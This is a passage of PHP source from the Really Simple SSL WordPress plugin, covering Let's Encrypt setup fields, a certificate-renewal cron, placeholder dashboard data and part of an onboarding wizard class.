					'label' => 'default',
					'title' => __( "Plesk username and password", "really-simple-ssl" ),
					'text'  => sprintf( __( "You can find your Plesk username and password in %s", 'really-simple-ssl' ), 'https://{your-plesk-host-name}:8443/smb/my-profile' ),
				],
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_plesk()'             => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'plesk_password',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'password',
				'default'           => '',
				'label'             => __( "Plesk password", 'really-simple-ssl' ),
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_is_plesk()'             => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                => 'store_credentials',
				'menu_id'           => 'le-hosting',
				'group_id'           => 'le-hosting',
				'type'              => 'checkbox',
				'default'           => '',
				'label'             => __( "Do you want to store these credentials for renewal purposes?", 'really-simple-ssl' ),
				'help'              => [
					'label' => 'default',
					'title' => 'Storing credentials',
					'text'  => __( "Store for renewal purposes. If not stored, renewal may need to be done manually.", 'really-simple-ssl' ),
				],
				'required'          => false,
				'disabled'          => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_uses_known_dashboard()' => true,
						'rsssl_activated_by_default()' => false,
						'rsssl_activation_required()'  => false,
						'rsssl_paid_only()'            => false,
					]
				],
			],
			[
				'id'                 => 'directories',
				'menu_id'            => 'le-directories',
				'group_id'            => 'le-directories',
				'condition_action'   => 'hide',
				'type'               => 'letsencrypt',
				'actions'            => [
					[
						'description' => __( "Checking host...", "really-simple-ssl" ),
						'action'      => 'check_host',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking challenge directory...", "really-simple-ssl" ),
						'action'      => 'check_challenge_directory',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking key directory...", "really-simple-ssl" ),
						'action'      => 'check_key_directory',
						'attempts'    => 2,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking certs directory...", "really-simple-ssl" ),
						'action'      => 'check_certs_directory',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __( "Checking permissions...", "really-simple-ssl" ),
						'action'      => 'check_writing_permissions',
						'attempts'    => 1,
						'status'      => 'inactive',
					],

					[
						'description' => __( "Checking challenge directory reachable over http...", "really-simple-ssl" ),
						'action'      => 'challenge_directory_reachable',
						'attempts'    => 1,
						'status'      => 'inactive',
					],
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'!verification_type' => 'dns',
					]
				],
			],
			[
				'id'       => 'dns-verification',
				'menu_id'  => 'le-dns-verification',
				'group_id' => 'le-dns-verification',
				'type'     => 'letsencrypt',
				'condition_action'   => 'hide',
				'actions' => [
					[
						'description' => __("Creating account...", "really-simple-ssl"),
						'action'=> 'get_account',
						'attempts' => 5,
						'status'      => 'inactive',
					],
					[
						'description' => __("Retrieving DNS verification token...", "really-simple-ssl"),
						'action'=> 'get_dns_token',
						'attempts' => 5,
						'status'      => 'inactive',
					],
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'verification_type' => 'dns',
					]
				],
			],
			[
				'id'                 => 'generation',
				'menu_id'            => 'le-generation',
				'group_id'            => 'le-generation',
				'type'               => 'letsencrypt',
//				'server_conditions' => [
//					'relation' => 'AND',
//					[
//						'rsssl_do_local_lets_encrypt_generation' => true,
//					]
//				],
				'actions' => [
					[
						'description' => __("Checking if Terms & Conditions are accepted...", "really-simple-ssl"),
						'action'=> 'terms_accepted',
						'attempts' => 1,
						'status'      => 'inactive',
					],
					[
						'description' => __("Creating account...", "really-simple-ssl"),
						'action'=> 'get_account',
						'attempts' => 5,
						'status'      => 'inactive',
					],
					[
						'description' => __("Generating SSL certificate...", "really-simple-ssl"),
						'action'=> 'create_bundle_or_renew',
						'attempts' => 5,
						'status'      => 'inactive',
					],
				],
			],
			[
				'id'       => 'installation',
				'menu_id'  => 'le-installation',
				'group_id'  => 'le-installation',
				'type'     => 'letsencrypt',
				'actions' => [
					[
						'description' => __("Searching for link to SSL installation page on your server...", "really-simple-ssl"),
						'action'=> 'search_ssl_installation_url',
						'attempts' => 1,
						'status'      => 'inactive',
					],
				],
			],
			[
				'id'       => 'activate_ssl',
				'menu_id'  => 'le-activate_ssl',
				'group_id'  => 'le-activate_ssl',
				'type'     => 'activate',
			],
		]);

	if ( is_multisite() ) {
		$index           = array_search( 'system-status', array_column( $fields, 'id' ) );
		$new_test        = [
			'description' => __( "Checking for subdomain setup...", "really-simple-ssl" ),
			'action'      => 'is_subdomain_setup',
			'attempts'    => 1,
			'status'      => 'inactive',
		];
		$current_tests   = $fields[ $index ]['actions'];
		$current_tests[] = $new_test;
		$fields[ $index ]['actions'] = $current_tests;
	}

	return $fields;
}
really-simple-ssl/lets-encrypt/cron.php000064400000002730147510273070014235 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_action( 'plugins_loaded', 'rsssl_le_schedule_cron' );
function rsssl_le_schedule_cron() {
	//only run if SSL is enabled.
	if ( !rsssl_get_option('ssl_enabled') ) {
		return;
	}

	//only if generated by RSSSL.
	if ( ! get_option( 'rsssl_le_certificate_generated_by_rsssl' ) ) {
		return;
	}

	add_action( 'rsssl_week_cron', 'rsssl_le_cron_maybe_start_renewal' );
	add_action( 'rsssl_daily_cron', 'rsssl_le_check_renewal_status' );
}

/**
 * Check if the certificate is generated by RSSSL. If so, renew if necessary
 */
function rsssl_le_cron_maybe_start_renewal(){
	if ( !rsssl_generated_by_rsssl() ) {
		return;
	}

	if ( RSSSL_LE()->letsencrypt_handler->cron_certificate_needs_renewal() ) {
		update_option("rsssl_le_start_renewal", true, false);
	}

	if ( RSSSL_LE()->letsencrypt_handler->certificate_install_required() ) {
		update_option("rsssl_le_start_installation", true, false);
	}
}

function rsssl_le_check_renewal_status(){
	if ( !rsssl_generated_by_rsssl() ) {
		return;
	}

	//when DNS validated, without api, we cannot autorenew
	if ( !RSSSL_LE()->letsencrypt_handler->ssl_generation_can_auto_renew() ) {
		return;
	}

	$renewal_active = get_option("rsssl_le_start_renewal");
	$installation_active = get_option("rsssl_le_start_installation");

	if ( $renewal_active ) {
		RSSSL_LE()->letsencrypt_handler->create_bundle_or_renew();
	} else if ( $installation_active ) {
		RSSSL_LE()->letsencrypt_handler->cron_renew_installation();
	}
}




really-simple-ssl/placeholders/class-placeholder.php000064400000042216147510273070016700 0ustar00<?php
defined( 'ABSPATH' ) or die( "" );
if ( ! class_exists( 'rsssl_placeholder' ) ) {
	class rsssl_placeholder {
		private static $_this;

		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die();
			}

			add_filter( "rsssl_run_test", array( $this, 'mixed_content_scan' ), 9, 3 );
			add_filter( 'rsssl_do_action', array( $this, 'learningmode_table_data' ), 10, 3 );

//			add_filter( 'rsssl_do_action', array( $this, 'two_factor_users_data' ), 11, 3 );

                // really-simple-ssl-pro plugin is active
            add_filter( 'rsssl_do_action', array( $this, 'limit_login_attempts_data' ), 11, 3 );

			self::$_this = $this;

		}

		/**
		 * Catch rest api request
		 *
		 * @param $response
		 * @param $test
		 * @param $data
		 *
		 * @return mixed
		 */

		public function mixed_content_scan( $response, $test, $data ) {
			if ( $test === 'mixed_content_scan' ) {
				$response = $this->mixed_content_data();
			}

			return $response;
		}

		/**
		 * @param array  $response
		 * @param string $action
		 * @param array  $data
		 *
		 * @return array
		 */
		public function learningmode_table_data( array $response, string $action, $data ): array {
			if ( ! rsssl_user_can_manage() ) {
				return $response;
			}

			if ( $action === 'learning_mode_data' ) {
				if ( isset( $data['type'] ) && $data['type'] === 'content_security_policy') {
					return $this->csp_data();
				}
				if ( isset( $data['type'] ) && $data['type'] === 'xmlrpc_allow_list') {
					return $this->xml_data();
				}
			}
			return $response;
		}

		/**
		 * Set some placeholder data for CSP
		 *
		 * @return array
		 */
		public function csp_data() {
			$rules = array(
				'script-src-data'  => array(
					'violateddirective' => 'script-src',
					'blockeduri'        => 'data:',
				),
				'script-src-eval'  => array(
					'violateddirective' => 'script-src',
					'blockeduri'        => 'unsafe-eval',
				),
				'img-src-gravatar' => array(
					'violateddirective' => 'img-src',
					'blockeduri'        => 'https://secure.gravatar.com',
				),
				'img-src-data'     => array(
					'violateddirective' => 'img-src',
					'blockeduri'        => 'data:',
				),
				'img-src-self'     => array(
					'violateddirective' => 'img-src',
					'blockeduri'        => 'self',
				),
				'font-src-self'    => array(
					'violateddirective' => 'font-src',
					'blockeduri'        => 'self',
				),
				'font-src-data'    => array(
					'violateddirective' => 'font-src',
					'blockeduri'        => 'data:',
				),
			);

			$output = [];
			foreach ( $rules as $rule ) {
				$output[] = [
					'documenturi'       => site_url(),
					'violateddirective' => $rule['violateddirective'],
					'blockeduri'        => $rule['blockeduri'],
					'status'            => 0,
				];
			}

			return $output;
		}

        public function xml_data() {
			$data = [
				[
					'id'           => 1,
					'method'       => 'wp.deletePost',
					'login_status' => 1,
					'count'        => 63,
					'status'       => 1,
				],
				[
					'id'           => 2,
					'method'       => 'wp.getPost',
					'login_status' => 1,
					'count'        => 78,
					'status'       => 1,
				],
				[
					'id'           => 3,
					'method'       => 'wp.editTerm',
					'login_status' => 1,
					'count'        => 9,
					'status'       => 1,
				],
				[
					'id'           => 4,
					'method'       => 'wp.getPosts',
					'login_status' => 1,
					'count'        => 9,
					'status'       => 1,
				],
			];

			return $data;
		}

        public function demo_vulnerabilities_data() {
            $data[] = [
                'id'          => 1,
                'component'   => 'wordpress',
                'risk'        => 'high',
                'date'        => '2020-01-01',

                ];
        }

        public function limit_login_attempts_data( array $response, string $action, $data ): array
        {
            if ( ! rsssl_user_can_manage() ) {
                return $response;
            }
	        if ( defined('rsssl_pro')) {
		        return $response;
	        }

            switch ( $action ) {
                case 'ip_list':
                    $response['data'] = [
                        [
                            'id' => 12,
                            'first_failed' => 1678903200,
                            'last_failed' => 1678924800,
                            'attempt_type' => 'source_ip',
                            'attempt_value' => '192.168.1.12',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'locked',
                            'attempts' => 2,
                            'endpoint' => 'https://example.com/wp-admin',
                            'blocked' => 0,
                            'datetime' => '10:51, Sep 30',
                        ],
                        [
                            'id' => 13,
                            'first_failed' => 1678906800,
                            'last_failed' => 1678928400,
                            'attempt_type' => 'source_ip',
                            'attempt_value' => '192.168.1.13',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'locked',
                            'attempts' => 1,
                            'endpoint' => 'https://example.com/wp-login.php',
                            'blocked' => 1,
                            'datetime' => '10:51, Sep 30',
                        ],
                    ];
                    break;
                case 'user_list':
                    $response['data'] = [
                        [
                            'id' => 1,
                            'first_failed' => 1678888800,
                            'last_failed' => 1678910400,
                            'attempt_type' => 'username',
                            'attempt_value' => 'john_doe',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'locked',
                            'attempts' => 5,
                            'endpoint' => 'https://example.com/wp-admin',
                            'blocked' => 1,
                            'datetime' => '10:51, Sep 30',
                        ],
                        [
                            'id' => 2,
                            'first_failed' => 1678892400,
                            'last_failed' => 1678914000,
                            'attempt_type' => 'username',
                            'attempt_value' => 'john_doe2',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'locked',
                            'attempts' => 3,
                            'endpoint' => 'https://example.com/wp-login.php',
                            'blocked' => 1,
                            'datetime' => '10:51, Sep 30',
                        ],
                    ];
                    break;
                case 'country_list':
                    $response['data'] = [
                        [
                            'id' => 1,
                            'first_failed' => 1678888800,
                            'last_failed' => 1678910400,
                            'attempt_type' => 'country',
                            'attempt_value' => 'US',
                            'country_name' => 'United States',
                            'region' => 'North America',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'blocked',
                            'attempts' => 5,
                            'endpoint' => 'https://example.com/wp-admin',
                            'blocked' => 1,
                            'datetime' => '10:51, Sep 30',
                        ],
                        [
                            'id' => 2,
                            'first_failed' => 1678892400,
                            'last_failed' => 1678914000,
                            'attempt_type' => 'country',
                            'attempt_value' => 'US',
                            'country_name' => 'United States',
                            'region' => 'North America',
                            'user_agent' => 'Mozilla/5.0',
                            'status' => 'blocked',
                            'attempts' => 3,
                            'endpoint' => 'https://example.com/wp-login.php',
                            'blocked' => 1,
                            'datetime' => '10:51, Sep 30',
                        ],
                    ];
                    break;
                case 'event_log':
                    $response['data'] = [
                        [
                            'id' => 969,
                            'timestamp' => 1693565480,
                            'event_id' => 1026,
                            'event_type' => 'login-protection',
                            'iso2_code' => 'PW',
                            'country_name' => 'Palau',
                            'severity' => 'informational',
                            'username' => '',
                            'source_ip' => '',
                            'description' => 'Country Palau added to geo-ip blocklist (Login-protection)',
                            'datetime' => '10:51, Sep 30',
                        ],
                        [
                            'id' => 970,
                            'timestamp' => 1693565480,
                            'event_id' => 1026,
                            'event_type' => 'login-protection',
                            'iso2_code' => 'PG',
                            'country_name' => 'Papua New Guinea',
                            'severity' => 'informational',
                            'username' => '',
                            'source_ip' => '',
                            'description' => 'Country Papua New Guinea added to geo-ip blocklist (Login-protection)',
                            'datetime' => '10:51, Sep 30',
                        ],
                        [
                            'id' => 994,
                            'timestamp' => 1693573989,
                            'event_id' => 1000,
                            'event_type' => 'authentication',
                            'iso2_code' => 'NL',
                            'country_name' => 'Netherlands',
                            'severity' => 'informational',
                            'username' => 'johndoe',
                            'source_ip' => '192.168.1.1',
                            'description' => 'Login successful (Authentication)',
                            'datetime' => '10:51, Sep 30',
                        ],
                    ];
                default:
                    break;
            }

            $response['pagination'] =  [
                'total' => 2,
                'per_page' => 10,
                'current_page' => 1,
                'last_page' => 1,
                'from' => 1,
                'to' => 4,
            ];

            return $response;
        }

		public function mixed_content_data() {
			$data[] = [
				'id'          => 1,
				'ignored'     => false,
				'type'        => 'blocked_url',
				'description' => sprintf( __( "Mixed content in PHP file in %s", "really-simple-ssl" ), 'themes' ),
				'blocked_url' => '#',
				'location'    => site_url(),
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '#',
					'edit'        => '#',
					'help'        => "knowledge-base/fix-blocked-resources-content-files",
					'action'      => 'ignore_url',
				],
			];

			$data[] = [
				'id'          => 2,
				'ignored'     => false,
				'description' => sprintf( __( "Mixed content in %s", "really-simple-ssl" ), 'Theme file' ),
				'type'        => 'css_js_thirdparty',
				'blocked_url' => '#',
				'location'    => site_url(),
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '#',
					'edit'        => '#',
					'help'        => "knowledge-base/fix-css-and-js-files-with-mixed-content",
					'action'      => 'ignore_url',
				],
				'fix'         => [
					'title'       => __( "Import and insert file", "really-simple-ssl" ),
					'subtitle'    => __( "Copyright warning!", "really-simple-ssl" ),
					'description' => '',
					'action'      => "fix_file",
					'path'        => '#',
				]
			];

			$data[] = [
				'id'          => 3,
				'ignored'     => false,
				'type'        => 'css_js_other_domains',
				'description' => __( "Mixed content in CSS/JS file from other domain", "really-simple-ssl" ),
				'blocked_url' => '#',
				'location'    => site_url(),
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '',
					'edit'        => '',
					'help'        => "knowledge-base/fix-css-js-files-mixed-content-domains/",
					'action'      => 'ignore_url',
				]
			];

			$data[] = [
				'id'          => 4,
				'ignored'     => false,
				'type'        => 'posts',
				'description' => sprintf(__( "Mixed content in post: %s", "really-simple-ssl" ), 'Hello World'),
				'blocked_url' => '#',
				'location'    => site_url(),
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '',
					'edit'        => get_admin_url( null, 'post.php?post=1&action=edit' ),
					'help'        => "fix-posts-with-blocked-resources-domains-without-ssl-certificate/",
					'action'      => 'ignore_url'
				],
				'fix'         => [
					'title'       => __( "Import and insert file", "really-simple-ssl" ),
					'subtitle'    => __( "Copyright warning!", "really-simple-ssl" ),
					'description' => '',
					'action'      => 'fix_post',
					'post_id'     => 1,
				]
			];

			//check if item is coming from an iframe
			$data[] = [
				'id'          => 5,
				'ignored'     => false,
				'type'        => 'postmeta',
				'description' => __( "Mixed content in the postmeta table", "really-simple-ssl" ),
				'blocked_url' => '#',
				'location'    => site_url(),
				'meta_key'    => '',
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '#',
					'edit'        => get_admin_url( null, 'post.php?post=1&action=edit' ),
					'help'        => "knowledge-base/fix-blocked-resources-content-postmeta",
					'action'      => 'ignore_url'
				],
				'fix'         => [
					'title'       => __( "Import and insert file", "really-simple-ssl" ),
					'subtitle'    => __( "Copyright warning!", "really-simple-ssl" ),
					'description' => '',
					'action'      => 'fix_postmeta',
					'post_id'     => 1,
				]
			];

			$file   = sprintf( __( "Widget area", "really-simple-ssl" ), '' );
			$data[] = [
				'id'          => 5,
				'ignored'     => false,
				'type'        => 'widgets',
				'description' => __( "Widget with mixed content", "really-simple-ssl" ),
				'blocked_url' => '#',
				'location'    => $file,
				'details'     => [
					'title'       => __( "Details", "really-simple-ssl" ),
					'description' => [],
					'view'        => '',
					'edit'        => get_admin_url( null, '/widgets.php' ),
					'help'        => "knowledge-base/locating-mixed-content-in-widgets/",
					'action'      => 'ignore_url'
				],
				'fix'         => [
					'title'       => __( "Import and insert file", "really-simple-ssl" ),
					'subtitle'    => __( "Copyright warning!", "really-simple-ssl" ),
					'description' => '',
					'action'      => 'fix_widget',
					'widget_id'   => '#',
				]
			];

			return [ 'data' => $data, 'progress' => 80, 'state' => 'stop', 'action' => '', 'nonce' => wp_create_nonce( 'fix_mixed_content' ) ];
		}

		/**
		 * @return void
		 *
		 * Dummy data for two factor Email block
		 */
		public function two_factor_email_data() {

		}


		/**
		 * @return array
		 *
		 * Dummy data for two factor Users block
		 */
		public function two_factor_users_data( array $response, string $action, $data ) {
			if ( defined('rsssl_pro')) {
				return $response;
			}

			if ( $action === 'two_fa_table' ) {

				$response['data'] = [
					[
						'id'                  => 1,
						'user'                => 'JaneDoe',
						'rsssl_two_fa_providers' => 'email',
						'user_role'           => 'Administrator',
						'status_for_user'     => 'active'
					],
					[
						'id'                  => 2,
						'user'                => 'JohnDoe',
						'rsssl_two_fa_providers' => 'email',
						'user_role'           => 'Editor',
						'status_for_user'     => 'open'
					],
					[
						'id'                  => 3,
						'user'                => 'JanieDoe',
						'rsssl_two_fa_providers' => 'disabled',
						'user_role'           => 'Subscriber',
						'status_for_user'     => 'Disabled'
					],
					[
						'id'                  => 4,
						'user'                => 'JonnyDoe',
						'rsssl_two_fa_providers' => 'Active',
						'user_role'           => 'Contributor',
						'status_for_user'     => 'Active'
					],
					[
						'id'                  => 5,
						'user'                => 'BabyDoe',
						'rsssl_two_fa_providers' => 'open',
						'user_role'           => 'Author',
						'status_for_user'     => 'open'
					],
				];

			}

			return $response;

		}

	}
}
really-simple-ssl/placeholders/index.php000064400000000043147510273070014412 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/onboarding/class-onboarding.php000064400000045730147510273070016221 0ustar00<?php
defined('ABSPATH') or die();
require_once(rsssl_path . 'class-installer.php');

require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;

class rsssl_onboarding {

	use Encryption;

	private static $_this;
	function __construct() {
		if ( isset( self::$_this ) ) {
			wp_die( sprintf( __( '%s is a singleton class and you cannot create a second instance.', 'really-simple-ssl' ), get_class( $this ) ) );
		}

		self::$_this = $this;
		add_action( 'admin_init', array( $this, 'maybe_redirect_to_settings_page'), 40);
		add_filter("rsssl_run_test", array($this, 'handle_onboarding_request'), 10, 3);
		add_filter("rsssl_do_action", array($this, 'handle_onboarding_action'), 10, 3);

	}

	static function this() {
		return self::$_this;
	}

	public function handle_onboarding_request($response, $test, $data){
		if ( ! rsssl_user_can_manage() ) {
			return [];
		}
		switch( $test ){
			case 'activate_ssl':
				$data['is_rest_request'] = true;
				$response = RSSSL()->admin->activate_ssl($data);
				break;
			case 'activate_ssl_networkwide':
				$response = RSSSL()->multisite->process_ssl_activation_step();
				break;
			default:
				return $response;
		}

		return $response;
	}

	/**
	 * @param $response
	 * @param $action
	 * @param $data
	 *
	 * @return array|bool[]|false|mixed
	 */
	public function handle_onboarding_action($response, $action, $data){
		if ( ! rsssl_user_can_manage() ) {
			return false;
		}
		$error = false;
		$next_action = 'none';
		switch( $action ){
			case 'onboarding_data':
				$response = $this->onboarding_data($data);
				break;
			case 'get_modal_status':
				$response =  ["dismissed" => !$this->show_onboarding_modal()];
				break;
			case 'dismiss_modal':
				$this->dismiss_modal($data);
				break;
			case 'override_ssl_detection':
				$response = $this->override_ssl_detection($data);
				break;
			case 'install_plugin':
				require_once(rsssl_path . 'class-installer.php');
				$plugin = new rsssl_installer(sanitize_title($data['id']));
				$success = $plugin->download_plugin();
				$response = [
					'next_action' => 'activate',
					'success' => $success
				];
				break;
			case 'activate':
				require_once(rsssl_path . 'class-installer.php');
				$plugin = new rsssl_installer(sanitize_title($data['id']));
				$success = $plugin->activate_plugin();
				$response = [
					'next_action' => 'completed',
					'success' => $success
				];
				break;
			case 'update_email':
				$email = sanitize_email($data['email']);
				if  (is_email($email )) {
					rsssl_update_option('notifications_email_address', $email );
					rsssl_update_option('send_notifications_email', 1 );
					if ( $data['includeTips'] ) {
						$this->signup_for_mailinglist( $email );
					}
					$mailer = new rsssl_mailer();
					$mailer->send_verification_mail( $email );
				}

				$response = [
					'success' => true,
				];
				break;
			case 'activate_setting':
				$id = isset($data['id']) ? sanitize_title($data['id']) : false;
				if ($id==='hardening') {
					$recommended_ids = $this->get_hardening_fields();
					foreach ($recommended_ids as $h ){
						rsssl_update_option($h, 1);
					}
				}
				if ($id === 'vulnerability_detection') {
					rsssl_update_option('enable_vulnerability_scanner', 1);

				}
                if ($id === 'two_fa_enabled_roles_totp') {
                    rsssl_update_option('two_fa_enabled_roles_totp', ['administrator']);
                }
				$response = [
					'next_action' => 'completed',
					'success' => true,
				];
				break;

		}
		$response['request_success'] = true;
		return $response;
	}

	/**
	 * Signup for Tips & Tricks from Really Simple Security
	 *
	 * @param string $email
	 *
	 * @return void
	 */
	public function signup_for_mailinglist( string $email): void {
		$license_key = '';
		if ( defined('rsssl_pro') ) {
			$license_key = RSSSL()->licensing->license_key();
			$license_key = $this->decrypt_if_prefixed( $license_key , 'really_simple_ssl_');
		}

		$api_params = array(
			'has_premium' => defined('rsssl_pro'),
			'license' => $license_key,
			'email' => sanitize_email($email),
			'domain' => esc_url_raw( site_url() ),
		);
		wp_remote_post( 'https://mailinglist.really-simple-ssl.com', array( 'timeout' => 15, 'sslverify' => true, 'body' => $api_params ) );
	}

	/**
	 * Two possibilities:
	 * - a new install: show activation notice, and process onboarding
	 * - an upgrade to 6. Only show new features.
	 *
	 * @param WP_REST_Request $request
	 *
	 * @return array
	 */

	public function onboarding_data( $data ): array {
		// "warning", // yellow dot
		// "error", // red dot
		// "active" // green dot
		$refresh = isset( $data['forceRefresh'] ) && $data['forceRefresh'] === true;
		$nonce   = $data['nonce'] ?? false;
		if ( ! wp_verify_nonce( $nonce, 'rsssl_nonce' ) ) {
			return [];
		}

		$steps = [
			[
				"id"       => 'activate_ssl',
				"title"    => __( "Welcome to Really Simple Security", 'really-simple-ssl' ),
				"subtitle" => __( "The onboarding wizard will help to configure essential security features in 1 minute! Select your hosting provider to start.", "really-simple-ssl" ),
				"items"    => $this->activate_ssl(),
			],
			[
				"id"       => 'email',
				"title"    => __( "Verify your email", 'really-simple-ssl' ),
				"subtitle" => __( "Really Simple Security will send email notifications and security warnings from your server. We will send a test email to confirm that email is correctly configured on your site. Look for the confirmation button in the email.", "really-simple-ssl" ),
				"button"   => __( "Save and continue", "really-simple-ssl" ),
			],
			[
				"id"       => 'features',
				"title"    => __( "Essential security", 'really-simple-ssl' ),
				"subtitle" => $this->features_subtitle(),
				"items"    => $this->recommended_features(),
				"button"   => __( "Enable", "really-simple-ssl" ),
			],
			[
				"id"       => 'activate_license',
				"title"    => __( "Activate your license key", 'really-simple-ssl' ),
				"subtitle" => '',
				"items"    => [
					'type' => 'license',
				],
				"button"   => __( "Activate", "really-simple-ssl" ),
				"value"    => '',
			],
			[
				"id"       => 'plugins',
				"title"    => __( "We think you will like this", "really-simple-ssl" ),
				"subtitle" => __( "Really Simple Plugins is also the author of the below privacy-focused plugins, including consent management, legal documents and analytics!", "really-simple-ssl" ),
				"items"    => $this->plugins(),
				"button"   => __( "Install", "really-simple-ssl" ),
			],
			[
				"id"       => 'pro',
				"title"    => "Really Simple Security Pro",
				"subtitle" => __( "Heavyweight security features, in a lightweight performant plugin from Really Simple Plugins. Get started with below features and get the latest and greatest updates for peace of mind!", "really-simple-ssl" ),
				"items"    => $this->pro_features(),
				"button"   => __( "Install", "really-simple-ssl" ),
			],
		];

		// Only add activate_license field when rsssl_pro is defined
		if ( ! defined( 'rsssl_pro' ) ) {
			$steps = array_filter( $steps, static function ( $step ) {
				return ! in_array( $step['id'], [ 'activate_license' ] );
			} );
		} else if ( get_option( "rsssl_upgraded_from_free" ) ) {
			$steps = array_filter( $steps, static function ( $step ) {
				return ! in_array( $step['id'], [ 'activate_ssl', 'features', 'email', 'plugins' ] );
			} );

		}

		// Re-order keys to prevent issues after array_filter
		$steps = array_values( $steps );

		//if the user called with a refresh action, clear the cache
		if ( $refresh ) {
			delete_transient( 'rsssl_certinfo' );
		}

		$data_to_return = [
			"request_success"           => true,
			"steps"                     => $steps,
			"ssl_enabled"               => rsssl_get_option( "ssl_enabled" ),
			"ssl_detection_overridden"  => get_option( 'rsssl_ssl_detection_overridden' ),
			'certificate_valid'         => RSSSL()->certificate->is_valid(),
			"networkwide"               => is_multisite() && rsssl_is_networkwide_active(),
			"network_activation_status" => get_site_option( 'rsssl_network_activation_status' ),
			'rsssl_upgraded_from_free'  => get_option( "rsssl_upgraded_from_free" ),
		];


		if ( get_option('rsssl_upgraded_from_free' ) ) {
			delete_option('rsssl_upgraded_from_free' );
		}

		return $data_to_return;

	}

	/**
	 * Return onboarding items for fresh installs
	 * @return array[]
	 */
	function activate_ssl (): array
    {
		$items = [];

		//if the site url is not yet https, the user may need to login again
		if ( strpos( site_url(), 'https://') === false ) {
			$items[] = [
				"title" => __("You may need to login in again, have your credentials prepared.", "really-simple-ssl"),
				"status" => "inactive",
				"id" => "login",
			];
		}

		if ( RSSSL()->certificate->is_valid() ) {
			$items[] = [
				"title" => __("An SSL certificate has been detected", "really-simple-ssl"),
				"status" => "success",
				"id" => "certificate",
			];
		} else if ( RSSSL()->certificate->detection_failed() ) {
			$items[] = [
				"title" => __("Could not test certificate", "really-simple-ssl") . " " . __("Automatic certificate detection is not possible on your server.", "really-simple-ssl"),
				"status" => "error",
				"id" => "certificate",
			];
		} else {
			$items[] = [
				"title" => __("No SSL certificate has been detected.", "really-simple-ssl") . " " . __("Please refresh the SSL status if a certificate has been installed recently.", "really-simple-ssl"),
				"status" => "error",
				"id" => "certificate",
			];
		}

		return $items;
	}

	public function plugins(): array {
		$items = [];
		$plugins_to_install = [
			[
				"slug" => "burst-statistics",
				'constant_premium' => 'burst_pro',
				"title" => "Burst Statistics",
				"description" => __("Privacy-friendly analytics tool.", "really-simple-ssl"),
			],
			[
				"slug" => "complianz-gdpr",
				'constant_premium' => 'cmplz_premium',
				"title" => "Complianz",
				"description" => __("Consent Management as it should be.", "really-simple-ssl"),
			],
			[
				"slug" => "complianz-terms-conditions",
				'constant_premium' => false,
				"title" => "Complianz Terms & Conditions",
				"description" => __("Terms & Conditions", "really-simple-ssl"),
			]
		];
		foreach ($plugins_to_install as $plugin_info) {
			require_once(rsssl_path . 'class-installer.php');
			$plugin = new rsssl_installer($plugin_info["slug"]);
			$premium_active = $plugin_info['constant_premium'] && defined($plugin_info['constant_premium']);
			$free_active = $plugin->plugin_is_downloaded() && $plugin->plugin_is_activated();

			if( $premium_active || $free_active ) {
				$action = "none";
			} else if( !$plugin->plugin_is_downloaded() ){
				$action = "install_plugin";
			} else if ( $plugin->plugin_is_downloaded() && !$plugin->plugin_is_activated() ) {
				$action = "activate";
			} else {
				$action = "none";
			}

			$items[] = [
				"id" => $plugin_info['slug'],
				"title" => $plugin_info["title"],
				"description" => $plugin_info["description"],
				"action" => $action,
				"activated" => true,
				"current_action" => "none",
			];
		}
		return $items;
	}

	/**
	 * Returns onboarding items if user upgraded plugin to 6.0 or SSL is detected
	 * @return array
	 */
	public function recommended_features(): array
    {
		$features = [
			[
				"title"     => __( "Vulnerability scan", "really-simple-ssl" ),
				"id"        => "vulnerability_detection",
				"options"   => [ "enable_vulnerability_scanner" ],
				"activated" => true,
			],
			[
				"title"     => __( "Essential WordPress hardening", "really-simple-ssl" ),
				"id"        => "hardening",
				"options"   => $this->get_hardening_fields(),
				"activated" => true,
			],
			[
				"title"     => __( "E-mail login", "really-simple-ssl" ),
				"id"        => "two_fa",
				"options"   => [ "login_protection_enabled" ],
				"activated" => true,
			],
			[
				"title"     => __( "Mixed Content Fixer", "really-simple-ssl" ),
				"id"        => "mixed_content_fixer",
				"options"   => [ "mixed_content_fixer" ],
				"activated" => true,
			],
		];

		if ( ! defined( 'rsssl_pro' ) ) {
			$features += [
				[
					"title"     => __( "Firewall", "really-simple-ssl" ),
					"id"        => "firewall",
					"premium"   => true,
					"options"   => [ "enable_firewall" ],
					"activated" => true,
				],
				[
					"title"     => __( "Two-Factor Authentication", "really-simple-ssl" ),
					"id"        => "two_fa",
					"premium"   => true,
					"options"   => [ 'login_protection_enabled'],
					"activated" => true,
				],
				[
